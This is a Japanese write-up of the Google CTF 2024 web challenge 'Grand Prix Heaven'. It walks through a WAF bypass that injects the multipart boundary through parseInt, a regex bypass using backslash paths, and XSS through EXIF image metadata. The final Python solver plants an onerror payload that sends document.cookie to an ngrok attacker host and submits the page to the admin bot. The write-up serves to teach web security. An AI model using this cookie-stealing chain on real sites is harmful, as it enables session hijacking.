Google CTF - Grand Prix Heaven
169pt, クリア率67/267チーム
勉強がてら解いてみたので解説
問題
独自テンプレートサーバーを動かしているtemplate_server
と、Webサーバーのheaven_server
がある。
heaven_serverには/api/new-car
という車を登録するAPIがある
app.post("/api/new-car", async (req, res) => {
let response = {
img_id: "",
config_id: "",
};
try {
if (req.files && req.files.image) {
const reqImg = req.files.image;
if (reqImg.mimetype !== "image/jpeg") throw new Error("wrong mimetype");
let request_img = reqImg.data;
let saved_img = await Media.create({
img: request_img,
public_id: nanoid.nanoid(),
});
response.img_id = saved_img.public_id;
}
let custom = req.body.custom || "";
let saved_config = await Configuration.create({
year: req.body.year,
make: req.body.make,
model: req.body.model,
custom: custom,
public_id: nanoid.nanoid(),
img_id: response.img_id
});
response.config_id = saved_config.public_id;
return res.redirect(`/fave/${response.config_id}?F1=${response.config_id}`);
} catch (e) {
console.log(`ERROR IN /api/new-car:\n${e}`);
return res.status(400).json({ error: "An error occurred" });
}
});
送られた内容は、/fave/:GrandPrixHeaven
のページで確認することができる。
app.get("/fave/:GrandPrixHeaven", async (req, res) => {
const grandPrix = await Configuration.findOne({
where: { public_id: req.params.GrandPrixHeaven },
});
if (!grandPrix) return res.status(400).json({ error: "ERROR: ID not found" });
let defaultData = {
...
};
let needleBody = defaultData;
if (grandPrix.custom != "") {
try {
needleBody = JSON.parse(grandPrix.custom);
for (const [k, v] of Object.entries(needleBody)) {
if (!TEMPLATE_PIECES.includes(v.toLowerCase()) || !isNum(parseInt(k)) || typeof(v) == 'object')
throw new Error("invalid template piece");
// don't be sneaky. We need a CSP!
if (parseInt(k) == 0 && v != "csp") throw new Error("No CSP");
}
} catch (e) {
console.log(`ERROR IN /fave/:GrandPrixHeaven:\n${e}`);
return res.status(400).json({ error: "invalid custom body" });
}
}
needle.post(
TEMPLATE_SERVER,
needleBody,
{ multipart: true, boundary: BOUNDARY },
function (err, resp, body) {
...
}
);
});
/fave/:GrandPrixHeaven
は、needleというライブラリでtemplate_serverに送っている。ここで、grandPrix.customがテンプレートエンジンに読み込まれるが、WAFによって入力が限られている。
const parseMultipartData = (data, boundary) => {
var chunks = data.split(boundary);
console.log(chunks)
// always start with the <head> element
var processedTemplate = templates.head_start;
// to prevent loading an html page of arbitrarily large size, limit to just 7 at a time
let end = 7;
if (chunks.length-1 <= end) {
end = chunks.length-1;
}
for (var i = 1; i < end; i++) {
// seperate body from the header parts
var lines = chunks[i].split('\r\n\r\n')
.map((item) => item.replaceAll("\r\n", ""))
.filter((item) => { return item != ''})
for (const item of Object.keys(templates)) {
if (lines.includes(item)) {
processedTemplate += templates[item];
}
}
}
return processedTemplate;
}
const reqHandler = function (req, res) {
res.setHeader("Content-Type", "text/html");
var result;
if (req.method == 'POST') {
var body = ''
req.on('data', function(data) {
body += data
})
req.on('end', function() {
var boundary = '--' + req.headers['content-type'].split("boundary=")[1];
result = parseMultipartData(body, boundary);
res.end(result);
})
} else {
res.writeHead(400);
return res.end();
}
};
なんでも好きな文字列を埋め込まれるわけではなく、準備されたテンプレートから選ぶことしかできない。しかし、mediaparser.js
というファイルをインクルードでき、ここに脆弱性がありそう(後述)なので、これをインクルードすることが最初の目標。
Step1 SSTI
WAFは以下のとおりである
try {
needleBody = JSON.parse(grandPrix.custom);
for (const [k, v] of Object.entries(needleBody)) {
if (!TEMPLATE_PIECES.includes(v.toLowerCase()) || !isNum(parseInt(k)) || typeof(v) == 'object')
throw new Error("invalid template piece");
// don't be sneaky. We need a CSP!
if (parseInt(k) == 0 && v != "csp") throw new Error("No CSP");
}
} catch (e) {
console.log(`ERROR IN /fave/:GrandPrixHeaven:\n${e}`);
return res.status(400).json({ error: "invalid custom body" });
}
TEMPLATE_PIECES
にmediaparser
は含まれていなので、そのままmediaparser
をcustomに入れただけでは、WAFに防がれてしまう。
ここで、template_serverに送られている情報を見ると次のようになっている。
--GP_HEAVEN
Content-Disposition: form-data; name="0"
csp
--GP_HEAVEN
Content-Disposition: form-data; name="1"
retrieve
--GP_HEAVEN
Content-Disposition: form-data; name="2"
apiparser
--GP_HEAVEN
Content-Disposition: form-data; name="3"
head_end
--GP_HEAVEN
Content-Disposition: form-data; name="4"
faves
--GP_HEAVEN
Content-Disposition: form-data; name="5"
footer
--GP_HEAVEN-- --GP_HEAVEN
template-server
はこれをこのように処理している。
const parseMultipartData = (data, boundary) => {
var chunks = data.split(boundary);
// always start with the <head> element
...
--GP_HEAVEN
でsplitしているので、customのJSONのどこかにこの文字列を埋め込めれば、誤作動させることができそう。WAFのparseInt
に関するMDNを読んでみると、
もし parseInt が radix で指定された基数に含まれる数字以外の文字に遭遇した場合、その文字とそれに続くすべての文字を無視し、この点まで解釈できた整数値を返します。
したがって、parseInt("0--GP_HEAVEN")
は0として解釈される。これによって、mediaparserを含めることができそうだ。
ここまでのソルバー。ついでに、CSPはCSPの要素を消せば普通に消えてくれるので消そう。
import requests
URL = "https://grandprixheaven-web.2024.ctfcompetition.com/"
r = requests.post(URL + "api/new-car",
data={
"year": 20999,
"make": "foobar",
"model": "F200422",
"custom": """{
"1--GP_HEAVENmediaparser--GP_HEAVEN": "retrieve",
"2Z": "faves"
}""",
})
id = r.url.split("F1=")[1]
print(r.url)
開いてみて、ヘッダーが追加されていることが確認できた。
Step2: mediaparserの利用
addEventListener("load", (event) => {
params = new URLSearchParams(window.location.search);
let requester = new Requester(params.get('F1'));
try {
let result = requester.makeRequest();
result.then((resp) => {
if (resp.headers.get('content-type') == 'image/jpeg') {
var titleElem = document.getElementById("title-card");
var dateElem = document.getElementById("date-card");
var descElem = document.getElementById("desc-card");
resp.arrayBuffer().then((imgBuf) => {
const tags = ExifReader.load(imgBuf);
descElem.innerHTML = tags['ImageDescription'].description;
titleElem.innerHTML = tags['UserComment'].description;
dateElem.innerHTML = tags['ICC Profile Date'].description;
})
}
})
} catch (e) {
console.log("an error occurred with the Requester class.");
}
});
mediaparser.jsを読んで見ると、画像を読み込むことができればXSSが可能っぽい。クエリパラメーターのF1
の値をRequester
に読み込ませていることはわかるが、現状画像は読みこまれていないので、Reqesterが何をしているかを見てみる。
class Requester {
constructor(url) {
const clean = (path) => {
try {
if (!path) throw new Error("no path");
let re = new RegExp(/^[A-z0-9\s_-]+$/i);
if (re.test(path)) {
// normalize
let cleaned = path.replaceAll(/\s/g, "");
return cleaned;
} else {
throw new Error("regex fail");
}
} catch (e) {
console.log(e);
return "dfv";
}
};
url = clean(url);
this.url = new URL(url, 'http://localhost:1337/api/get-car/');
}
makeRequest() {
return fetch(this.url).then((resp) => {
if (!resp.ok){
throw new Error('Error occurred when attempting to retrieve media data');
}
return resp;
});
}
}
URL()の第二引数にhttp://localhost:1337/api/get-car/
を指定しているので、このURLからの相対パスでリクエストを送れる。したがって、new URL(params.get('F1'), 'http://localhost:1337/api/get-car/')
がmedia/:image_id
を示すようにしたい。
ただし、clean関数によって、使える文字が限られており、../
といった内容は書き込めない。ただしよく読んでみると、[A-z]は、Zからaの間のASCII、つまり[\]^_
を利用できることがわかる。特に、\
は/
の代用として利用できる。また、urlが/
か\
で始まると、オリジンからの相対パスとして扱われる。したがって、?F1=\media\:image_id
が条件を満たす。
ここまでのソルバー。実際に画像を送るコードも記述した。
import requests
URL = "https://grandprixheaven-web.2024.ctfcompetition.com/"
img_data = open("im.jpg", "rb")
r = requests.post(URL + "api/new-car",
data={
"year": 20999,
"make": "foobar",
"model": "F200422",
"custom": """{
"1--GP_HEAVENmediaparser--GP_HEAVEN": "retrieve",
"2Z": "faves"
}""",
},
files={
"image": ("image.jpg", img_data.read(), "image/jpeg")
})
id = r.url.split("F1=")[1]
print(r.url)
r = requests.get(URL + "api/get-car/" + id)
dat = r.json()
imgid = dat["img_id"]
targetURL = URL + "fave/" + id + "?F1=\\media\\" + imgid
print(targetURL)
ページを開くと、descriptionがないみたいなエラーが表示されていればOK。
Step 3: Exifを通したXSS
mediaparserのインジェクションができそうな箇所はこのようになっている。
const tags = ExifReader.load(imgBuf);
descElem.innerHTML = tags['ImageDescription'].description;
titleElem.innerHTML = tags['UserComment'].description;
dateElem.innerHTML = tags['ICC Profile Date'].description;
ExifReaderというライブラリを利用して、Exif情報を取り出し、それをHTMLに埋め込んでいる。
ExifにHTMLを埋め込んだ画像を送ればよい。方法はいろいろあると思うが、今回はpythonでコントロールすることを主軸において、pillowとpiexifを利用した。インジェクションを行えるフィールドは3つあるがImageDescriptionだけでも大丈夫。ICC Profile Date
だけ記述場所がわからなかった...Exifの詳細の仕様についてはまた勉強します。
最終的なソルバー
import requests
import piexif
from PIL import Image
import io
URL = "https://grandprixheaven-web.2024.ctfcompetition.com/"
EVIL = "https://xxx.ngrok.app/"
inject = f"<img src=X onerror='fetch(`{EVIL}?cookie=${{document.cookie}}`)'>"
exif_dict = {"0th": {
piexif.ImageIFD.ImageDescription: inject,
}, "EXIF": {
piexif.ExifIFD.UserComment: "inject"
}}
original = Image.open("./im.jpg")
exif_bytes = piexif.dump(exif_dict)
with io.BytesIO() as i:
original.save(i, "jpeg", exif=exif_bytes)
img_data = i.getvalue()
r = requests.post(URL + "api/new-car",
data={
"year": 20999,
"make": "foobar",
"model": "F200422",
"custom": """{
"1--GP_HEAVENmediaparser--GP_HEAVEN": "retrieve",
"2Z": "faves"
}""",
},
files={
"image": ("image.jpg", img_data, "image/jpeg")
})
id = r.url.split("F1=")[1]
print(r.url)
r = requests.get(r.url)
r = requests.get(URL + "api/get-car/" + id)
dat = r.json()
imgid = dat["img_id"]
targetURL = URL + "fave/" + id + "?F1=\\media\\" + imgid
print(targetURL)
r = requests.post(URL + "report", data={"url": targetURL})
print(r.text)
まとめ
- parseIntの仕様は結構いろいろできそうだから、仕様をよく読もう
- WAFは目を凝らして抜け道を探そう
- 細かいExifの仕様についてはForensicsが得意な人に聞いておこう
Discussion